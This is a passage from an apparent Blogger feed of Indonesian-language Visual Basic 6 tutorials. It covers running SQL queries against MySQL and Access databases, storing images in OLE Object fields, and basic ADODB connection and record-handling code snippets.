Sub Form_Load()&lt;br /&gt;    Me.Adodc1.ConnectionString = ConnectString&lt;br /&gt;    Me.Adodc2.ConnectionString = ConnectString&lt;br /&gt;    Me.Adodc3.ConnectionString = ConnectString&lt;br /&gt;    Me.Adodc4.ConnectionString = ConnectString&lt;br /&gt;    &lt;br /&gt;    MySqlString = "SELECT * From TblKelas"&lt;br /&gt;    Me.Adodc1.RecordSource = MySqlString&lt;br /&gt;    Set Me.DataGrid1.DataSource = Me.Adodc1&lt;br /&gt;    &lt;br /&gt;    MySqlString = "SELECT * From TblBiodata"&lt;br /&gt;    Me.Adodc2.RecordSource = MySqlString&lt;br /&gt;    Set Me.DataGrid2.DataSource = Me.Adodc2&lt;br /&gt;    &lt;br /&gt;    MySqlString = "SELECT * From TblNilai"&lt;br /&gt;    Me.Adodc3.RecordSource = MySqlString&lt;br /&gt;    Set Me.DataGrid3.DataSource = Me.Adodc3&lt;br /&gt;End Sub&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 120px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command1_Click()&lt;br /&gt;    MySqlString = Me.Text1.Text&lt;br /&gt;    Me.Adodc4.RecordSource = MySqlString&lt;br /&gt;    Set Me.DataGrid4.DataSource = Me.Adodc4&lt;br /&gt;    Adodc4.Refresh&lt;br /&gt;End Sub&lt;/pre&gt;&lt;/center&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;Coba Anda jalankan dan dalam text1 tulis SQL (Structure Query Language) untuk mengakse Database tutorialmysqlvb6offline, Untuk contoh Syntax SQL antara lain: &lt;br /&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Syntax SELECT :&amp;nbsp;&lt;i&gt;SELECT TblKelas.NIS,NAMA From TblKelas&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Syntax WHERE :&amp;nbsp;&lt;i&gt;SELECT * From TblBiodata where TblBiodata.tempatlahir='SEMARANG'&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;span style="font-style: normal;"&gt;Syntax AND:&amp;nbsp;&lt;/span&gt;SELECT * From TblBiodata where TblBiodata.TempatLahir='Semarang' AND TblBiodata.JK='L'&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;span style="font-style: normal;"&gt;Syntax OR :&amp;nbsp;&lt;/span&gt;&lt;/i&gt;SELECT TblNilai.NIS,PKn,SEJ From TblNilai where TblNilai.PKn&amp;gt;=90 OR TblNilai.SEJ&amp;gt;=90&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span style="font-style: normal;"&gt;Syntax ORDER :&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/i&gt;SELECT * From TblBiodata ORDER BY TblBiodata.NIS DESC&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;i&gt;&lt;span style="font-style: normal;"&gt;Syntax DISTINCT :&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/i&gt;&lt;/i&gt;SELECT DISTINCT TblBiodata.tempatlahir From TblBiodata&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;dan lain-lain&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Jika semua langkah dari awal artikel telah anda terapkan sama persis, baik password, username, host, setingan ODBCmaka Anda dapat belajar syntax lainnya dengan mendownload aplikasi yang telah saya buat yaitu&amp;nbsp;TutorialMySQLWithVB6 seperti screenshot di bawah ini, di link &lt;a href="https://docs.google.com/uc?export=download&amp;amp;confirm=no_antivirus&amp;amp;id=0B17lWDxDzoE8eWpyT01pX1daS0E" target="_blank"&gt;download aplikasi&lt;/a&gt; ini.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-ryHSawB1t44/T_MdeeYut8I/AAAAAAAAAa4/73AKYPQRdi0/s1600/Aplikasi.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="218" src="http://2.bp.blogspot.com/-ryHSawB1t44/T_MdeeYut8I/AAAAAAAAAa4/73AKYPQRdi0/s320/Aplikasi.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Akhirnya selesai juga, semoga bermanfaat...^_^&lt;/div&gt;</content><link href="http://vbasiccode.blogspot.com/feeds/6636220541959591447/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2012/07/access-mysql-with-vb-60.html#comment-form" rel="replies" title="14 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/6636220541959591447" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/6636220541959591447" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2012/07/access-mysql-with-vb-60.html" rel="alternate" title="Access MySQL With VB 6.0" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://1.bp.blogspot.com/-FpMtUDT8rAU/T_Huz2pQoqI/AAAAAAAAAYA/tjvxCU6QKa4/s72-c/1xampp-installer.bmp" width="72"/><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-3298608415452543275</id><published>2012-06-29T06:09:00.000+07:00</published><updated>2012-07-04T00:32:47.815+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Database"/><category scheme="http://www.blogger.com/atom/ns#" term="Microsoft Office Access"/><category scheme="http://www.blogger.com/atom/ns#" term="Serpihan Code Database"/><category scheme="http://www.blogger.com/atom/ns#" term="SQL"/><title type="text">Tutorial SQL in Access With VB 6.0</title><content type="html">Hai... Untuk posting kali ini saya masih berkutat mengenai Database Access,tetapi dengan pendekatan SQL. SQL (Structured Query Language) adalah bahasa standar yang berfungsi untuk memanipulasi Database. SQL memiliki Versi yang berbeda-beda namun ditiap Versinya selalu mendukung perintah seperti SELECT, UPDATE, DELETE, INSERT, WHERE.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-oL5MyPNFdLM/T-zpP8mRCQI/AAAAAAAAAX0/NcSEDpLecrA/s1600/ImgTutorialSQLAccess.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height"400"="" src="http://3.bp.blogspot.com/-oL5MyPNFdLM/T-zpP8mRCQI/AAAAAAAAAX0/NcSEDpLecrA/s1600/ImgTutorialSQLAccess.png" width="450" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Apa itu SQL?&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL singkatan dari Structured Query Language&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL memungkinkan Anda mengakses dan memanipulasi database&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL adalah ANSI (American National Standards Institute) standar&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;br /&gt;Apa yang Bisa SQL lakukan?&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL dapat mengeksekusi query terhadap database&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL dapat mengambil data dari database&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL dapat menyisipkan catatan dalam database&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL dapat memperbarui catatan dalam database&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL dapat menghapus catatan dari database&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL dapat membuat database baru&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL dapat membuat tabel baru di database&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL dapat membuat prosedur yang tersimpan dalam database&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL dapat membuat pemandangan dalam database&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SQL dapat mengatur hak akses pada tabel, prosedur, dan pandangan&lt;br /&gt;&lt;br /&gt;Contoh Syntax SQL &lt;span style="color: yellow;"&gt;SELECT&lt;/span&gt;, &lt;br /&gt;SELECT column_name(s)FROM table_name&lt;br /&gt;SELECT&amp;nbsp;digunakan untuk menyeleksi data yang ada dalam database, Contoh:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;SELECT TblKelas.[NIS],[NAMA] From TblKelas&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;Syntax di atas akan menyeleksi kolom/field NIS dan Field NAMA yang ada dalam Tabel TblKelas&lt;br /&gt;&lt;br /&gt;Untuk lebih lengkapnya mengenai Syntax SQL dalam database Access, saya telah membuat Tutorial SQL Access With VB6, silahkan ikuti langkah di bawah ini untuk mendownload aplikasi tersebut.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Cermati link dibawah ini, dan perbesar/fullscreen tampilannya dengan klik gambar icon anak panahnya.&lt;/li&gt;&lt;iframe height="200" src="https://docs.google.com/file/d/0B17lWDxDzoE8QUIwV1piQzdKYXM/preview" style="background-color: white;" width="430"&gt;&lt;/iframe&gt;&lt;li&gt;Klik File &amp;nbsp;untuk mengunduh dalam bentuk kompresi (rar), tetapi jika dalam komputer anda sudah terdapat VB 6.0 maka silahkan download 3 file saja yaitu&lt;span style="color: yellow;"&gt; ImgHelp.jpg&lt;/span&gt;, &lt;span style="color: yellow;"&gt;BioData.mdb&lt;/span&gt;&amp;nbsp;dan&amp;nbsp;&lt;span style="color: yellow;"&gt;TutorialSQLAccessWithVB6.exe&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Klik Unduh&lt;/li&gt;&lt;/ol&gt;Untuk cara penggunaan aplikasi tersebut silahkan lihat videonya di bawah ini.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;iframe allowfullscreen="" frameborder="0" height="315" src="http://www.youtube.com/embed/aMN5EXvlunk" width="500"&gt;&lt;/iframe&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Terimakasih, semoga bermanfaat.. ^_^</content><link href="http://vbasiccode.blogspot.com/feeds/3298608415452543275/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2012/06/hai.html#comment-form" rel="replies" title="7 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/3298608415452543275" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/3298608415452543275" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2012/06/hai.html" rel="alternate" title="Tutorial SQL in Access With VB 6.0" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://3.bp.blogspot.com/-oL5MyPNFdLM/T-zpP8mRCQI/AAAAAAAAAX0/NcSEDpLecrA/s72-c/ImgTutorialSQLAccess.png" width="72"/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-8690834069228427743</id><published>2011-10-31T14:00:00.003+07:00</published><updated>2021-10-01T01:53:04.205+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Database"/><category scheme="http://www.blogger.com/atom/ns#" term="Microsoft Office Access"/><category scheme="http://www.blogger.com/atom/ns#" term="Serpihan Code Database"/><title type="text">Memunculkan Field Gambar(OLE Object) Di Database Acces</title><content type="html">Sedikiit berbagi lagi.. Mungkin Teman2 ada kesulitan mengenai  memunculkan file Image Database Acces ke VB. Saya menggunakan dua Cara  untuk mewujudkan hal tersebut:&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;div&gt;&lt;/div&gt;&lt;ol style="text-align: justify;"&gt;&lt;li&gt;Me-Load Gambar dalam Kontrol Image dari String Alamat Gambar  yang telah ada di Field Database, jadi Field dalam tabel bertype Text.  Keuntungannya Database berukuran lebih Kecil dibanding cara kedua.&lt;/li&gt;&lt;li&gt;Meload Gambar Dari Field yang bertype OLE Object kedalam kontrol  Image. Keuntungannya semua gambar dalam satu database sehingga dapat  sebagai pustaka gambar.&lt;/li&gt;&lt;/ol&gt;&lt;div style="text-align: justify;"&gt;Kali ini kita akan menggunakan cara yang kedua, Buat Database Acces  bernama "BioData.mdb" terdiri atas satu Tabel yaitu "TblPhotoSaja" dan  di dalamnya buat field Type Ole Object beri nama "Image",serta satu  field lagi Bertype AutoNumber berinama "Id", Langsung saja ^_^ ini  saourcenya..&lt;a name='more'&gt;&lt;/a&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Copy Paste Code Dibawah Ini Dalam form&lt;/b&gt;&lt;/div&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 498px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Option Explicit&lt;br /&gt;Private Declare Function GetOpenFileName Lib "comdlg32.dll" Alias "GetOpenFileNameA" (pOpenfilename As OPENFILENAME) As Long&lt;br /&gt;Private Declare Function lOpen Lib "kernel32" Alias "_lopen" (ByVal lpPathName As String, ByVal iReadWrite As Long) As Long&lt;br /&gt;Private Declare Function lclose Lib "kernel32" Alias "_lclose" (ByVal hFile As Long) As Long&lt;br /&gt;Private Declare Function GetFileSize Lib "kernel32" (ByVal hFile As Long, lpFileSizeHigh As Long) As Long&lt;br /&gt;Private lpFSHigh As Long&lt;br /&gt;Private strfilepath As String&lt;br /&gt;Private Buffer As String&lt;br /&gt;Private Const OF_READ = &amp;amp;H0&amp;amp;&lt;br /&gt;Private db As ADODB.Connection&lt;br /&gt;Private WithEvents adoPrimaryRSImageName As Recordset&lt;br /&gt;&lt;br /&gt;Private Type OPENFILENAME&lt;br /&gt;    lStructSize As Long&lt;br /&gt;    hwndOwner As Long&lt;br /&gt;    hInstance As Long&lt;br /&gt;    lpstrFilter As String&lt;br /&gt;    lpstrCustomFilter As String&lt;br /&gt;    nMaxCustFilter As Long&lt;br /&gt;    nFilterIndex As Long&lt;br /&gt;    lpstrFile As String&lt;br /&gt;    nMaxFile As Long&lt;br /&gt;    lpstrFileTitle As String&lt;br /&gt;    nMaxFileTitle As Long&lt;br /&gt;    lpstrInitialDir As String&lt;br /&gt;    lpstrTitle As String&lt;br /&gt;    Flags As Long&lt;br /&gt;    nFileOffset As Integer&lt;br /&gt;    nFileExtension As Integer&lt;br /&gt;    lpstrDefExt As String&lt;br /&gt;    lCustData As Long&lt;br /&gt;    lpfnHook As Long&lt;br /&gt;    lpTemplateName As String&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Private Function GetFile(ByRef frm As Form) As String&lt;br /&gt;    Dim OFName As OPENFILENAME&lt;br /&gt;    OFName.lStructSize = Len(OFName)&lt;br /&gt;    'Set the parent window&lt;br /&gt;    OFName.hwndOwner = frm.hWnd&lt;br /&gt;    'Set the application's instance&lt;br /&gt;    OFName.hInstance = App.hInstance&lt;br /&gt;    'Select a filter&lt;br /&gt;    OFName.lpstrFilter = "Bitmap (*.bmp)" + Chr$(0) + _&lt;br /&gt;      "*.bmp" + Chr$(0) + _&lt;br /&gt;      "Jpg (*.jpg)" + Chr$(0) + _&lt;br /&gt;      "*.jpg" + Chr$(0) + _&lt;br /&gt;      "Icons (*.ico)" + Chr$(0) + _&lt;br /&gt;      "*.ico" + Chr$(0) + _&lt;br /&gt;      "Windows Metafiles (*.wmf)" + Chr$(0) + _&lt;br /&gt;      "*.wmf" + Chr$(0) + _&lt;br /&gt;      "Jpeg (*.jpeg)" + Chr$(0) + _&lt;br /&gt;      "*.jpeg" + Chr$(0) + _&lt;br /&gt;      "Gif (*.gif)" + Chr$(0) + _&lt;br /&gt;      "*.gif" + Chr$(0) + _&lt;br /&gt;      "All Files (*.*)" + Chr$(0) + _&lt;br /&gt;      "*.*" + Chr$(0)&lt;br /&gt;    'create a buffer for the file&lt;br /&gt;    OFName.lpstrFile = Space$(254)&lt;br /&gt;    'set the maximum length of a returned file&lt;br /&gt;    OFName.nMaxFile = 255&lt;br /&gt;    'Create a buffer for the file title&lt;br /&gt;    OFName.lpstrFileTitle = Space$(254)&lt;br /&gt;    'Set the maximum length of a returned file title&lt;br /&gt;    OFName.nMaxFileTitle = 255&lt;br /&gt;    'Set the initial directory&lt;br /&gt;    'OFName.lpstrInitialDir = "C:\" 'Commented so that the box opens on the last directory browsed&lt;br /&gt;    'Set the title&lt;br /&gt;    OFName.lpstrTitle = "Open Dialog Box"&lt;br /&gt;    'No flags&lt;br /&gt;    OFName.Flags = 0&lt;br /&gt;    'Show the 'Open File'-dialog&lt;br /&gt;    If GetOpenFileName(OFName) Then&lt;br /&gt;      GetFile = Trim$(OFName.lpstrFile)&lt;br /&gt;    Else&lt;br /&gt;      GetFile = ""&lt;br /&gt;    End If&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;Private Sub SaveBitmap(ByRef adoRS As ADODB.Recordset, ByVal strField As String, ByVal SourceFile As String)&lt;br /&gt;    'This sub copies the actual file into a byte array.&lt;br /&gt;    'This byte array is then used as the value for&lt;br /&gt;    'the field having an image data type&lt;br /&gt;    Dim Arr() As Byte&lt;br /&gt;    Dim Pointer As Long&lt;br /&gt;    Dim SizeOfThefile As Long&lt;br /&gt;    Pointer = lOpen(SourceFile, OF_READ)&lt;br /&gt;    'size of the file&lt;br /&gt;    SizeOfThefile = GetFileSize(Pointer, lpFSHigh)&lt;br /&gt;    lclose Pointer&lt;br /&gt;    'Resize the array, then fill it with&lt;br /&gt;    'the entire contents of the field&lt;br /&gt;    ReDim Arr(SizeOfThefile)&lt;br /&gt;    Open SourceFile For Binary Access Read As #1&lt;br /&gt;    Get #1, , Arr&lt;br /&gt;    Close #1&lt;br /&gt;    adoRS(strField).Value = Arr&lt;br /&gt;    Exit Sub&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdFirst_Click()&lt;br /&gt;If adoPrimaryRSImageName.BOF And adoPrimaryRSImageName.RecordCount = 0 Then&lt;br /&gt;   MsgBox "Anda Tidak Memiliki Data Record, Klik Tombol " &amp;amp; """" &amp;amp; "Tambah Record" &amp;amp; """" &amp;amp; " untuk Membuat Record."&lt;br /&gt;Else&lt;br /&gt;  adoPrimaryRSImageName.MoveFirst&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdLast_Click()&lt;br /&gt;If adoPrimaryRSImageName.EOF And adoPrimaryRSImageName.RecordCount = 0 Then&lt;br /&gt;   MsgBox "Anda Tidak Memiliki Data Record."&lt;br /&gt;Else&lt;br /&gt;    adoPrimaryRSImageName.MoveLast&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdNext_Click()&lt;br /&gt;If adoPrimaryRSImageName.EOF And adoPrimaryRSImageName.RecordCount = 0 Then&lt;br /&gt;   MsgBox "Anda Tidak Memiliki Data Record."&lt;br /&gt;End If&lt;br /&gt;If Not adoPrimaryRSImageName.EOF Then adoPrimaryRSImageName.MoveNext&lt;br /&gt;If adoPrimaryRSImageName.EOF And Not adoPrimaryRSImageName.RecordCount = 0 Then&lt;br /&gt;    Beep&lt;br /&gt;    adoPrimaryRSImageName.MoveLast&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdPrevious_Click()&lt;br /&gt;If adoPrimaryRSImageName.BOF And adoPrimaryRSImageName.RecordCount = 0 Then&lt;br /&gt;   MsgBox "Anda Tidak Memiliki Data Record"&lt;br /&gt;End If&lt;br /&gt;If Not adoPrimaryRSImageName.BOF Then adoPrimaryRSImageName.MovePrevious&lt;br /&gt;If adoPrimaryRSImageName.BOF And Not adoPrimaryRSImageName.RecordCount = 0 Then&lt;br /&gt;    Beep&lt;br /&gt;    adoPrimaryRSImageName.MoveFirst&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub CariSimpanImage_Click()&lt;br /&gt;    strfilepath = GetFile(Me)&lt;br /&gt;    If strfilepath &amp;lt;&amp;gt; "" Then&lt;br /&gt;        Image1.Picture = LoadPicture(strfilepath)&lt;br /&gt;        SaveBitmap adoPrimaryRSImageName, "Image", strfilepath&lt;br /&gt;    End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Sub Koneksi()&lt;br /&gt;    Set db = New ADODB.Connection&lt;br /&gt;    db.CursorLocation = adUseClient&lt;br /&gt;    db.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;" &amp;amp; _&lt;br /&gt;      "Data Source=" &amp;amp; App.Path &amp;amp; "\BioData.mdb"&lt;br /&gt;    Set adoPrimaryRSImageName = New ADODB.Recordset&lt;br /&gt;    adoPrimaryRSImageName.Open "TblPhotoSaja", db, adOpenDynamic, adLockOptimistic&lt;br /&gt;    Set Image1.DataSource = adoPrimaryRSImageName&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;    Koneksi&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Unload(Cancel As Integer)&lt;br /&gt;    Set db = Nothing&lt;br /&gt;    Set adoPrimaryRSImageName = Nothing&lt;br /&gt;    Unload Me&lt;br /&gt;End Sub&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Semoga bermanfaat.. ^_^&lt;/b&gt;</content><link href="http://vbasiccode.blogspot.com/feeds/8690834069228427743/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2011/10/sedikiit-berbagi-lagi.html#comment-form" rel="replies" title="6 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/8690834069228427743" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/8690834069228427743" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2011/10/sedikiit-berbagi-lagi.html" rel="alternate" title="Memunculkan Field Gambar(OLE Object) Di Database Acces" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-2767966886673874853</id><published>2011-05-22T01:25:00.030+07:00</published><updated>2012-07-04T00:33:30.741+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Microsoft Office Access"/><category scheme="http://www.blogger.com/atom/ns#" term="Serpihan Code Database"/><title type="text">Serpihan Kode Database Access</title><content type="html">Pertama yang perlu disapkan adalah :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Nama Database : DBPembelajaran.mdb format Microsoft Office Access 2000&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Nama Tabel : SiswaLogin&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Nama Field dalam Tabel SiswaLogin : Nama Field Nama_Siswa TypeField Text dan field kedua &amp;nbsp; Nama Field NIS TypeField Text&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Klik Menu Project Pilih References.. : Microsoft ActiveX Data Object 2.0 Library atau versi yang lebih tinggi.&lt;/li&gt;&lt;/ul&gt;Dibawah ini serpihan kode yang mungkin bermanfaat, silahkan...&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;span style="font-size: small;"&gt;1. a. Koneksi Dengan Database Yang Tidak Berpassword&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 200px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Option Explicit&lt;br /&gt;Dim db As ADODB.Connection&lt;br /&gt;Dim adoPrimaryRSLoginSiswa As ADODB.Recordset&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;On Error GoTo err&lt;br /&gt;        Set db = New ADODB.Connection&lt;br /&gt;        db.CursorLocation = adUseClient&lt;br /&gt;        db.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;" &amp;amp; _&lt;br /&gt;          "Data Source=" &amp;amp; App.Path &amp;amp; "\DBPembelajaran.mdb;"&lt;br /&gt;err:&lt;br /&gt;        If db.State = 1 Then&lt;br /&gt;            MsgBox "Terkoneksi dengan database"&lt;br /&gt;        ElseIf db.State = 0 Then&lt;br /&gt;            MsgBox "Tidak Terkoneksi dengan database.", vbInformation, "Error"&lt;br /&gt;        End If&lt;br /&gt;End Sub&lt;br /&gt; &lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;1. b. Koneksi Dengan Database Berpassword&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 200px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Form_Load()&lt;br /&gt;On Error GoTo ERR&lt;br /&gt;        Dim DBBerPassword&lt;br /&gt;        Set DBBerPassword = New ADODB.Connection&lt;br /&gt;        DBBerPassword.CursorLocation = adUseClient&lt;br /&gt;        DBBerPassword.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;Data Source=" &amp;amp; App.Path &amp;amp; "\DBPembelajaran - Copy.mdb" &amp;amp; ";Persist Security Info=False;Mode=12;Jet OLEDB:Database Password=TulisPasswordnya"&lt;br /&gt;ERR:&lt;br /&gt;        If DBBerPassword.State = 1 Then&lt;br /&gt;            MsgBox "Terkoneksi dengan database"&lt;br /&gt;        ElseIf DBBerPassword.State = 0 Then&lt;br /&gt;            MsgBox "Tidak Terkoneksi dengan database.", vbInformation, "Error"&lt;br /&gt;        End If&lt;br /&gt;End Sub&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;2. Buka Record&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 230px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command1_Click()&lt;br /&gt;On Error GoTo err&lt;br /&gt;        Set adoPrimaryRSLoginSiswa = New ADODB.Recordset&lt;br /&gt;        adoPrimaryRSLoginSiswa.Open "TblSiswaLogin", db, adOpenStatic, adLockOptimistic&lt;br /&gt;err:&lt;br /&gt;        If adoPrimaryRSLoginSiswa.State = 1 Then&lt;br /&gt;            MsgBox "Terkoneksi dengan Tabel"&lt;br /&gt;        ElseIf adoPrimaryRSLoginSiswa.State = 0 Then&lt;br /&gt;            MsgBox "Tabel tidak ditemukan, cek kembali tabel yang ada dalam database.", vbInformation, "Error"&lt;br /&gt;        End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;3. Cek Isi Field&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 150px; margin: 0px; overflow: auto; padding: 3px; text-align: left; width: 500px;"&gt;Private Sub Command2_Click()&lt;br /&gt;    adoPrimaryRSLoginSiswa.MoveFirst&lt;br /&gt;    MsgBox "NAMA FIELD : " &amp;amp; adoPrimaryRSLoginSiswa.Fields(0).Name &amp;amp; _&lt;br /&gt;    vbCrLf &amp;amp; "ISI FIELD RECORD PERTAMA : " &amp;amp; adoPrimaryRSLoginSiswa.Fields(0).Value, vbInformation&lt;br /&gt;End Sub&lt;br 